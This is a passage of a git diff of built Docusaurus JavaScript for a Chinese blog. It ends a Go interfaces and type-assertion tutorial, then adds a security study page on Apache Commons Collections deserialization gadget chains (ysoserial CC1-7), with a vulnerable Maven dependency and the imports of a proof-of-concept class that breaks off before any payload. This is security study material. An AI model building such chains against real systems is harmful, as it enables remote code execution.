u793a\u4f8b",src:c(52012).A+"",width:"272",height:"162"})}),"\n",(0,l.jsx)(e.p,{children:"\u6211\u4eec\u63a5\u4e0b\u6765\u901a\u8fc7\u4e00\u4e2a\u793a\u4f8b\u6765\u52a0\u6df1\u5bf9\u63a5\u53e3\u503c\u7684\u7406\u89e3\u3002"}),"\n",(0,l.jsxs)(e.p,{children:["\u4e0b\u9762\u7684\u793a\u4f8b\u4ee3\u7801\u4e2d\uff0c\u5b9a\u4e49\u4e86\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Mover"}),"\u63a5\u53e3\u7c7b\u578b\u548c\u4e24\u4e2a\u5b9e\u73b0\u4e86\u8be5\u63a5\u53e3\u7684",(0,l.jsx)(e.code,{children:"Dog"}),"\u548c",(0,l.jsx)(e.code,{children:"Car"}),"\u7ed3\u6784\u4f53\u7c7b\u578b\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'type Mover interface {\n\tMove()\n}\n\ntype Dog struct {\n\tName string\n}\n\nfunc (d *Dog) Move() {\n\tfmt.Println("\u72d7\u5728\u8dd1~")\n}\n\ntype Car struct {\n\tBrand string\n}\n\nfunc (c *Car) Move() {\n\tfmt.Println("\u6c7d\u8f66\u5728\u8dd1~")\n}\n'})}),"\n",(0,l.jsxs)(e.p,{children:["\u9996\u5148\uff0c\u6211\u4eec\u521b\u5efa\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Mover"}),"\u63a5\u53e3\u7c7b\u578b\u7684\u53d8\u91cf",(0,l.jsx)(e.code,{children:"m"}),"\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"var m Mover\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u6b64\u65f6\uff0c\u63a5\u53e3\u53d8\u91cf",(0,l.jsx)(e.code,{children:"m"}),"\u662f\u63a5\u53e3\u7c7b\u578b\u7684\u96f6\u503c\uff0c\u4e5f\u5c31\u662f\u5b83\u7684\u7c7b\u578b\u548c\u503c\u90e8\u5206\u90fd\u662f",(0,l.jsx)(e.code,{children:"nil"}),"\uff0c\u5c31\u5982\u4e0b\u56fe\u6240\u793a\u3002"]}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{alt:"\u63a5\u53e3\u503c\u793a\u4f8b",src:c(20487).A+"",width:"252",height:"192"})}),"\n",(0,l.jsxs)(e.p,{children:["\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528",(0,l.jsx)(e.code,{children:"m == nil"}),"\u6765\u5224\u65ad\u6b64\u65f6\u7684\u63a5\u53e3\u503c\u662f\u5426\u4e3a\u7a7a\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"fmt.Println(m == nil) // true\n"})}),"\n",(0,l.jsx)(e.p,{children:"**\u6ce8\u610f\uff1a**\u6211\u4eec\u4e0d\u80fd\u5bf9\u4e00\u4e2a\u7a7a\u63a5\u53e3\u503c\u8c03\u7528\u4efb\u4f55\u65b9\u6cd5\uff0c\u5426\u5219\u4f1a\u4ea7\u751fpanic\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"m.Move() // panic: runtime error: invalid memory address or nil pointer dereference\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u63a5\u4e0b\u6765\uff0c\u6211\u4eec\u5c06\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"*Dog"}),"\u7ed3\u6784\u4f53\u6307\u9488\u8d4b\u503c\u7ed9\u53d8\u91cf",(0,l.jsx)(e.code,{children:"m"}),"\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'m = &Dog{Name: "\u65fa\u8d22"}\n'})}),"\n",(0,l.jsxs)(e.p,{children:["\u6b64\u65f6\uff0c\u63a5\u53e3\u503c",(0,l.jsx)(e.code,{children:"m"}),"\u7684\u52a8\u6001\u7c7b\u578b\u4f1a\u88ab\u8bbe\u7f6e\u4e3a",(0,l.jsx)(e.code,{children:"*Dog"}),"\uff0c\u52a8\u6001\u503c\u4e3a\u7ed3\u6784\u4f53\u53d8\u91cf\u7684\u62f7\u8d1d\u3002"]}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{alt:"\u63a5\u53e3\u503c\u793a\u4f8b",src:c(49150).A+"",width:"532",height:"193"})}),"\n",(0,l.jsxs)(e.p,{children:["\u7136\u540e\uff0c\u6211\u4eec\u7ed9\u63a5\u53e3\u53d8\u91cf",(0,l.jsx)(e.code,{children:"m"}),"\u8d4b\u503c\u4e3a\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"*Car"}),"\u7c7b\u578b\u7684\u503c\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"var c *Car\nm = c\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u8fd9\u4e00\u6b21\uff0c\u63a5\u53e3\u503c",(0,l.jsx)(e.code,{children:"m"}),"\u7684\u52a8\u6001\u7c7b\u578b\u4e3a",(0,l.jsx)(e.code,{children:"*Car"}),"\uff0c\u52a8\u6001\u503c\u4e3a",(0,l.jsx)(e.code,{children:"nil"}),"\u3002"]}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{alt:"\u63a5\u53e3\u503c\u793a\u4f8b",src:c(85265).A+"",width:"532",height:"192"})}),"\n",(0,l.jsxs)(e.p,{children:["**\u6ce8\u610f\uff1a**\u6b64\u65f6\u63a5\u53e3\u53d8\u91cf",(0,l.jsx)(e.code,{children:"m"}),"\u4e0e",(0,l.jsx)(e.code,{children:"nil"}),"\u5e76\u4e0d\u76f8\u7b49\uff0c\u56e0\u4e3a\u5b83\u53ea\u662f\u52a8\u6001\u503c\u7684\u90e8\u5206\u4e3a",(0,l.jsx)(e.code,{children:"nil"}),"\uff0c\u800c\u52a8\u6001\u7c7b\u578b\u90e8\u5206\u4fdd\u5b58\u7740\u5bf9\u5e94\u503c\u7684\u7c7b\u578b\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"fmt.Println(m == nil) // false\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u63a5\u53e3\u503c\u662f\u652f\u6301\u76f8\u4e92\u6bd4\u8f83\u7684\uff0c\u5f53\u4e14\u4ec5\u5f53\u63a5\u53e3\u503c\u7684\u52a8\u6001\u7c7b\u578b\u548c\u52a8\u6001\u503c\u90fd\u76f8\u7b49\u65f6\u624d\u76f8\u7b49\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"var (\n\tx Mover = new(Dog)\n\ty Mover = new(Car)\n)\nfmt.Println(x == y) // false\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u4f46\u662f\u6709\u4e00\u79cd\u7279\u6b8a\u60c5\u51b5\u9700\u8981\u7279\u522b\u6ce8\u610f\uff0c\u5982\u679c\u63a5\u53e3\u503c\u4fdd\u5b58\u7684\u52a8\u6001\u7c7b\u578b\u76f8\u540c\uff0c\u4f46\u662f\u8fd9\u4e2a\u52a8\u6001\u7c7b\u578b\u4e0d\u652f\u6301\u4e92\u76f8\u6bd4\u8f83\uff08\u6bd4\u5982\u5207\u7247\uff09\uff0c\u90a3\u4e48\u5bf9\u5b83\u4eec\u76f8\u4e92\u6bd4\u8f83\u65f6\u5c31\u4f1a\u5f15\u53d1panic\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"var z interface{} = []int{1, 2, 3}\nfmt.Println(z == z) // panic: runtime error: comparing uncomparable type []int\n"})}),"\n",(0,l.jsx)(e.h2,{id:"\u7c7b\u578b\u65ad\u8a00",children:"\u7c7b\u578b\u65ad\u8a00"}),"\n",(0,l.jsx)(e.p,{children:"\u63a5\u53e3\u503c\u53ef\u80fd\u8d4b\u503c\u4e3a\u4efb\u610f\u7c7b\u578b\u7684\u503c\uff0c\u90a3\u6211\u4eec\u5982\u4f55\u4ece\u63a5\u53e3\u503c\u83b7\u53d6\u5176\u5b58\u50a8\u7684\u5177\u4f53\u6570\u636e\u5462\uff1f"}),"\n",(0,l.jsxs)(e.p,{children:["\u6211\u4eec\u53ef\u4ee5\u501f\u52a9\u6807\u51c6\u5e93",(0,l.jsx)(e.code,{children:"fmt"}),"\u5305\u7684\u683c\u5f0f\u5316\u6253\u5370\u83b7\u53d6\u5230\u63a5\u53e3\u503c\u7684\u52a8\u6001\u7c7b\u578b\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'var m Mover\n\nm = &Dog{Name: "\u65fa\u8d22"}\nfmt.Printf("%T\\n", m) // *main.Dog\n\nm = new(Car)\nfmt.Printf("%T\\n", m) // *main.Car\n'})}),"\n",(0,l.jsxs)(e.p,{children:["\u800c",(0,l.jsx)(e.code,{children:"fmt"}),"\u5305\u5185\u90e8\u5176\u5b9e\u662f\u4f7f\u7528\u53cd\u5c04\u7684\u673a\u5236\u5728\u7a0b\u5e8f\u8fd0\u884c\u65f6\u83b7\u53d6\u5230\u52a8\u6001\u7c7b\u578b\u7684\u540d\u79f0\u3002\u5173\u4e8e\u53cd\u5c04\u7684\u5185\u5bb9\u6211\u4eec\u4f1a\u5728\u540e\u7eed\u7ae0\u8282\u8be6\u7ec6\u4ecb\u7ecd\u3002"]}),"\n",(0,l.jsx)(e.p,{children:"\u800c\u60f3\u8981\u4ece\u63a5\u53e3\u503c\u4e2d\u83b7\u53d6\u5230\u5bf9\u5e94\u7684\u5b9e\u9645\u503c\u9700\u8981\u4f7f\u7528\u7c7b\u578b\u65ad\u8a00\uff0c\u5176\u8bed\u6cd5\u683c\u5f0f\u5982\u4e0b\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"x.(T)\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,l.jsxs)(e.ul,{children:["\n",(0,l.jsx)(e.li,{children:"x\uff1a\u8868\u793a\u63a5\u53e3\u7c7b\u578b\u7684\u53d8\u91cf"}),"\n",(0,l.jsxs)(e.li,{children:["T\uff1a\u8868\u793a\u65ad\u8a00",(0,l.jsx)(e.code,{children:"x"}),"\u53ef\u80fd\u662f\u7684\u7c7b\u578b\u3002"]}),"\n"]}),"\n",(0,l.jsxs)(e.p,{children:["\u8be5\u8bed\u6cd5\u8fd4\u56de\u4e24\u4e2a\u53c2\u6570\uff0c\u7b2c\u4e00\u4e2a\u53c2\u6570\u662f",(0,l.jsx)(e.code,{children:"x"}),"\u8f6c\u5316\u4e3a",(0,l.jsx)(e.code,{children:"T"}),"\u7c7b\u578b\u540e\u7684\u53d8\u91cf\uff0c\u7b2c\u4e8c\u4e2a\u503c\u662f\u4e00\u4e2a\u5e03\u5c14\u503c\uff0c\u82e5\u4e3a",(0,l.jsx)(e.code,{children:"true"}),"\u5219\u8868\u793a\u65ad\u8a00\u6210\u529f\uff0c\u4e3a",(0,l.jsx)(e.code,{children:"false"}),"\u5219\u8868\u793a\u65ad\u8a00\u5931\u8d25\u3002"]}),"\n",(0,l.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'var n Mover = &Dog{Name: "\u65fa\u8d22"}\nv, ok := n.(*Dog)\nif ok {\n\tfmt.Println("\u7c7b\u578b\u65ad\u8a00\u6210\u529f")\n\tv.Name = "\u5bcc\u8d35" // \u53d8\u91cfv\u662f*Dog\u7c7b\u578b\n} else {\n\tfmt.Println("\u7c7b\u578b\u65ad\u8a00\u5931\u8d25")\n}\n'})}),"\n",(0,l.jsxs)(e.p,{children:["\u5982\u679c\u5bf9\u4e00\u4e2a\u63a5\u53e3\u503c\u6709\u591a\u4e2a\u5b9e\u9645\u7c7b\u578b\u9700\u8981\u5224\u65ad\uff0c\u63a8\u8350\u4f7f\u7528",(0,l.jsx)(e.code,{children:"switch"}),"\u8bed\u53e5\u6765\u5b9e\u73b0\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// justifyType \u5bf9\u4f20\u5165\u7684\u7a7a\u63a5\u53e3\u7c7b\u578b\u53d8\u91cfx\u8fdb\u884c\u7c7b\u578b\u65ad\u8a00\nfunc justifyType(x interface{}) {\n\tswitch v := x.(type) {\n\tcase string:\n\t\tfmt.Printf("x is a string\uff0cvalue is %v\\n", v)\n\tcase int:\n\t\tfmt.Printf("x is a int is %v\\n", v)\n\tcase bool:\n\t\tfmt.Printf("x is a bool is %v\\n", v)\n\tdefault:\n\t\tfmt.Println("unsupport type\uff01")\n\t}\n}\n'})}),"\n",(0,l.jsx)(e.p,{children:"\u7531\u4e8e\u63a5\u53e3\u7c7b\u578b\u53d8\u91cf\u80fd\u591f\u52a8\u6001\u5b58\u50a8\u4e0d\u540c\u7c7b\u578b\u503c\u7684\u7279\u70b9\uff0c\u6240\u4ee5\u5f88\u591a\u521d\u5b66\u8005\u4f1a\u6ee5\u7528\u63a5\u53e3\u7c7b\u578b\uff08\u7279\u522b\u662f\u7a7a\u63a5\u53e3\uff09\u6765\u5b9e\u73b0\u7f16\u7801\u8fc7\u7a0b\u4e2d\u7684\u4fbf\u6377\u3002\u53ea\u6709\u5f53\u6709\u4e24\u4e2a\u6216\u4e24\u4e2a\u4ee5\u4e0a\u7684\u5177\u4f53\u7c7b\u578b\u5fc5\u987b\u4ee5\u76f8\u540c\u7684\u65b9\u5f0f\u8fdb\u884c\u5904\u7406\u65f6\u624d\u9700\u8981\u5b9a\u4e49\u63a5\u53e3\u3002\u5207\u8bb0\u4e0d\u8981\u4e3a\u4e86\u4f7f\u7528\u63a5\u53e3\u7c7b\u578b\u800c\u589e\u52a0\u4e0d\u5fc5\u8981\u7684\u62bd\u8c61\uff0c\u5bfc\u81f4\u4e0d\u5fc5\u8981\u7684\u8fd0\u884c\u65f6\u635f\u8017\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u5728 Go \u8bed\u8a00\u4e2d\u63a5\u53e3\u662f\u4e00\u4e2a\u975e\u5e38\u91cd\u8981\u7684\u6982\u5ff5\u548c\u7279\u6027\uff0c\u4f7f\u7528\u63a5\u53e3\u7c7b\u578b\u80fd\u591f\u5b9e\u73b0\u4ee3\u7801\u7684\u62bd\u8c61\u548c\u89e3\u8026\uff0c\u4e5f\u53ef\u4ee5\u9690\u85cf\u67d0\u4e2a\u529f\u80fd\u7684\u5185\u90e8\u5b9e\u73b0\uff0c\u4f46\u662f\u7f3a\u70b9\u5c31\u662f\u5728\u67e5\u770b\u6e90\u7801\u7684\u65f6\u5019\uff0c\u4e0d\u592a\u65b9\u4fbf\u67e5\u627e\u5230\u5177\u4f53\u5b9e\u73b0\u63a5\u53e3\u7684\u7c7b\u578b\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u76f8\u4fe1\u5f88\u591a\u8bfb\u8005\u5728\u521a\u63a5\u89e6\u5230\u63a5\u53e3\u7c7b\u578b\u65f6\u90fd\u4f1a\u6709\u5f88\u591a\u7591\u60d1\uff0c\u8bf7\u7262\u8bb0\u63a5\u53e3\u662f\u4e00\u79cd\u7c7b\u578b\uff0c\u4e00\u79cd\u62bd\u8c61\u7684\u7c7b\u578b\u3002\u533a\u522b\u4e8e\u6211\u4eec\u5728\u4e4b\u524d\u7ae0\u8282\u63d0\u5230\u7684\u90a3\u4e9b\u5177\u4f53\u7c7b\u578b\uff08\u6574\u578b\u3001\u6570\u7ec4\u3001\u7ed3\u6784\u4f53\u7c7b\u578b\u7b49\uff09\uff0c\u5b83\u662f\u4e00\u4e2a\u53ea\u8981\u6c42\u5b9e\u73b0\u7279\u5b9a\u65b9\u6cd5\u7684\u62bd\u8c61\u7c7b\u578b\u3002"}),"\n",(0,l.jsxs)(e.p,{children:[(0,l.jsx)(e.strong,{children:"\u5c0f\u6280\u5de7\uff1a"})," \u4e0b\u9762\u7684\u4ee3\u7801\u53ef\u4ee5\u5728\u7a0b\u5e8f\u7f16\u8bd1\u9636\u6bb5\u9a8c\u8bc1\u67d0\u4e00\u7ed3\u6784\u4f53\u662f\u5426\u6ee1\u8db3\u7279\u5b9a\u7684\u63a5\u53e3\u7c7b\u578b\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"// \u6458\u81eagin\u6846\u67b6routergroup.go\ntype IRouter interface{ ... }\n\ntype RouterGroup struct { ... }\n\nvar _ IRouter = &RouterGroup{} // \u786e\u4fddRouterGroup\u5b9e\u73b0\u4e86\u63a5\u53e3IRouter\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u4e0a\u9762\u7684\u4ee3\u7801\u4e2d\u4e5f\u53ef\u4ee5\u4f7f\u7528",(0,l.jsx)(e.code,{children:"var _ IRouter = (*RouterGroup)(nil)"}),"\u8fdb\u884c\u9a8c\u8bc1\u3002"]})]})}function o(n={}){const{wrapper:e}={...(0,i.R)(),...n.components};return e?(0,l.jsx)(e,{...n,children:(0,l.jsx)(t,{...n})}):t(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/8459d6bb.5a6c8f67.js b/en/assets/js/8459d6bb.5a6c8f67.js new file mode 100644 index 0000000..8d98305 --- /dev/null +++ b/en/assets/js/8459d6bb.5a6c8f67.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6759],{28453:(e,n,r)=>{r.d(n,{R:()=>c,x:()=>t});var o=r(96540);const s={},a=o.createContext(s);function c(e){const n=o.useContext(a);return o.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function t(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:c(e.components),o.createElement(a.Provider,{value:n},e.children)}},73984:(e,n,r)=>{r.r(n),r.d(n,{assets:()=>i,contentTitle:()=>t,default:()=>m,frontMatter:()=>c,metadata:()=>o,toc:()=>l});const o=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/README","title":"Apache Commons Collections \u53cd\u5e8f\u5217\u5316\u5229\u7528","description":"\u5305\u548c\u7b80\u4ecb","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/\u57fa\u7840\u5ba1\u8ba1/JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e"},"next":{"title":"Apache Commons Collections 1","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC1"}}');var s=r(74848),a=r(28453);const c={},t="Apache Commons Collections \u53cd\u5e8f\u5217\u5316\u5229\u7528",i={},l=[{value:"\u5305\u548c\u7b80\u4ecb",id:"\u5305\u548c\u7b80\u4ecb",level:2},{value:"\u80cc\u666f\u4ecb\u7ecd",id:"\u80cc\u666f\u4ecb\u7ecd",level:3},{value:"\u5305\u7ed3\u6784\u4ecb\u7ecd",id:"\u5305\u7ed3\u6784\u4ecb\u7ecd",level:3},{value:"\u524d\u7f6e\u77e5\u8bc6",id:"\u524d\u7f6e\u77e5\u8bc6",level:2},{value:"1.mvn\u4f9d\u8d56",id:"1mvn\u4f9d\u8d56",level:3},{value:"2.\u624b\u6253POC",id:"2\u624b\u6253poc",level:3},{value:"3.Transformer",id:"3transformer",level:3},{value:"4.InvokerTransformer",id:"4invokertransformer",level:3},{value:"5.ChainedTransformer",id:"5chainedtransformer",level:3},{value:"6.ConstantTransformer",id:"6constanttransformer",level:3},{value:"7.Map",id:"7map",level:3},{value:"TransformedMap",id:"transformedmap",level:4},{value:"Map.Entry",id:"mapentry",level:4}];function d(e){const n={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",li:"li",p:"p",pre:"pre",strong:"strong",ul:"ul",...(0,a.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"apache-commons-collections-\u53cd\u5e8f\u5217\u5316\u5229\u7528",children:"Apache Commons Collections \u53cd\u5e8f\u5217\u5316\u5229\u7528"})}),"\n",(0,s.jsx)(n.h2,{id:"\u5305\u548c\u7b80\u4ecb",children:"\u5305\u548c\u7b80\u4ecb"}),"\n",(0,s.jsx)(n.h3,{id:"\u80cc\u666f\u4ecb\u7ecd",children:"\u80cc\u666f\u4ecb\u7ecd"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.a,{href:"http://commons.apache.org/",children:"Apache Commons"}),"\u662fApache\u8f6f\u4ef6\u57fa\u91d1\u4f1a\u7684\u9879\u76ee\uff0c\u66fe\u7ecf\u96b6\u5c5e\u4e8e",(0,s.jsx)(n.code,{children:"Jakarta"}),"\u9879\u76ee\u3002",(0,s.jsx)(n.code,{children:"Commons"}),"\u7684\u76ee\u7684\u662f\u63d0\u4f9b\u53ef\u91cd\u7528\u7684\u3001\u89e3\u51b3\u5404\u79cd\u5b9e\u9645\u7684\u901a\u7528\u95ee\u9898\u4e14\u5f00\u6e90\u7684Java\u4ee3\u7801\u3002Commons\u7531\u4e09\u90e8\u5206\u7ec4\u6210\uff1a",(0,s.jsx)(n.code,{children:"Proper"}),"\uff08\u662f\u4e00\u4e9b\u5df2\u53d1\u5e03\u7684\u9879\u76ee\uff09\u3001",(0,s.jsx)(n.code,{children:"Sandbox"}),"\uff08\u662f\u4e00\u4e9b\u6b63\u5728\u5f00\u53d1\u7684\u9879\u76ee\uff09\u548c",(0,s.jsx)(n.code,{children:"Dormant"}),"\uff08\u662f\u4e00\u4e9b\u521a\u542f\u52a8\u6216\u8005\u5df2\u7ecf\u505c\u6b62\u7ef4\u62a4\u7684\u9879\u76ee\uff09\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.a,{href:"http://commons.apache.org/proper/commons-collections/",children:"Commons Collections"}),"\u5305\u4e3aJava\u6807\u51c6\u7684",(0,s.jsx)(n.code,{children:"Collections API"}),"\u63d0\u4f9b\u4e86\u76f8\u5f53\u597d\u7684\u8865\u5145\u3002\u5728\u6b64\u57fa\u7840\u4e0a\u5bf9\u5176\u5e38\u7528\u7684\u6570\u636e\u7ed3\u6784\u64cd\u4f5c\u8fdb\u884c\u4e86\u5f88\u597d\u7684\u5c01\u88c5\u3001\u62bd\u8c61\u548c\u8865\u5145\u3002\u8ba9\u6211\u4eec\u5728\u5f00\u53d1\u5e94\u7528\u7a0b\u5e8f\u7684\u8fc7\u7a0b\u4e2d\uff0c\u65e2\u4fdd\u8bc1\u4e86\u6027\u80fd\uff0c\u540c\u65f6\u4e5f\u80fd\u5927\u5927\u7b80\u5316\u4ee3\u7801\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"\u5305\u7ed3\u6784\u4ecb\u7ecd",children:"\u5305\u7ed3\u6784\u4ecb\u7ecd"}),"\n",(0,s.jsxs)(n.blockquote,{children:["\n",(0,s.jsx)(n.p,{children:"\u6ce8\u610f\uff1aCommons Collections\u7684\u6700\u65b0\u7248\u662f4.1\uff0c\u4f46\u7531\u4e8e\u5de5\u4f5c\u4e2d\u5927\u591a\u8fd8\u662f3.x\u7684\u7248\u672c\uff0c\u8fd9\u91cc\u5c31\u4ee53.x\u4e2d\u7684\u6700\u540e\u4e00\u4e2a\u7248\u672c3.2.2\u4f5c\u4f7f\u7528\u4ecb\u7ecd\u3002"}),"\n"]}),"\n",(0,s.jsxs)(n.p,{children:["\u4ee5\u4e0b\u662fCollections\u7684\u5305\u7ed3\u6784\u548c\u7b80\u5355\u4ecb\u7ecd\uff0c\u5982\u679c\u4f60\u60f3\u4e86\u89e3\u66f4\u591a\u7684\u5404\u4e2a\u5305\u4e0b\u7684\u63a5\u53e3\u548c\u5b9e\u73b0\uff0c\u8bf7\u53c2\u8003",(0,s.jsx)(n.a,{href:"http://commons.apache.org/proper/commons-collections/javadocs/api-3.2.2/index.html",children:"Apache Commons Collections 3.2.2 API\u6587\u6863"}),"\u3002"]}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"org.apache.commons.collections"})," \u2013 CommonsCollections\u81ea\u5b9a\u4e49\u7684\u4e00\u7ec4\u516c\u7528\u7684\u63a5\u53e3\u548c\u5de5\u5177\u7c7b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"org.apache.commons.collections.bag"})," \u2013 \u5b9e\u73b0Bag\u63a5\u53e3\u7684\u4e00\u7ec4\u7c7b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"org.apache.commons.collections.bidimap"})," \u2013 \u5b9e\u73b0BidiMap\u7cfb\u5217\u63a5\u53e3\u7684\u4e00\u7ec4\u7c7b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"org.apache.commons.collections.buffer"})," \u2013 \u5b9e\u73b0Buffer\u63a5\u53e3\u7684\u4e00\u7ec4\u7c7b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"org.apache.commons.collections.collection"})," \u2013\u5b9e\u73b0java.util.Collection\u63a5\u53e3\u7684\u4e00\u7ec4\u7c7b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"org.apache.commons.collections.comparators"}),"\u2013 \u5b9e\u73b0java.util.Comparator\u63a5\u53e3\u7684\u4e00\u7ec4\u7c7b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"org.apache.commons.collections.functors"})," \u2013Commons Collections\u81ea\u5b9a\u4e49\u7684\u4e00\u7ec4\u529f\u80fd\u7c7b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"org.apache.commons.collections.iterators"})," \u2013 \u5b9e\u73b0java.util.Iterator\u63a5\u53e3\u7684\u4e00\u7ec4\u7c7b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"org.apache.commons.collections.keyvalue"})," \u2013 \u5b9e\u73b0\u96c6\u5408\u548c\u952e/\u503c\u6620\u5c04\u76f8\u5173\u7684\u4e00\u7ec4\u7c7b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"org.apache.commons.collections.list"})," \u2013 \u5b9e\u73b0java.util.List\u63a5\u53e3\u7684\u4e00\u7ec4\u7c7b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"org.apache.commons.collections.map"})," \u2013 \u5b9e\u73b0Map\u7cfb\u5217\u63a5\u53e3\u7684\u4e00\u7ec4\u7c7b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"org.apache.commons.collections.set"})," \u2013 \u5b9e\u73b0Set\u7cfb\u5217\u63a5\u53e3\u7684\u4e00\u7ec4\u7c7b"]}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u524d\u7f6e\u77e5\u8bc6",children:"\u524d\u7f6e\u77e5\u8bc6"}),"\n",(0,s.jsx)(n.h3,{id:"1mvn\u4f9d\u8d56",children:"1.mvn\u4f9d\u8d56"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-xml",children:"<dependencies>\n <dependency>\n <groupId>commons-collections</groupId>\n <artifactId>commons-collections</artifactId>\n <version>3.2.1</version>\n </dependency>\n</dependencies>\n"})}),"\n",(0,s.jsx)(n.h3,{id:"2\u624b\u6253poc",children:"2.\u624b\u6253POC"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-java",children:'import org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.TransformedMap;\n\nimport java.io.*;\nimport java.lang.annotation.Target;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Method;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class cc01 {\n public static void main(String[] args) throws Exception 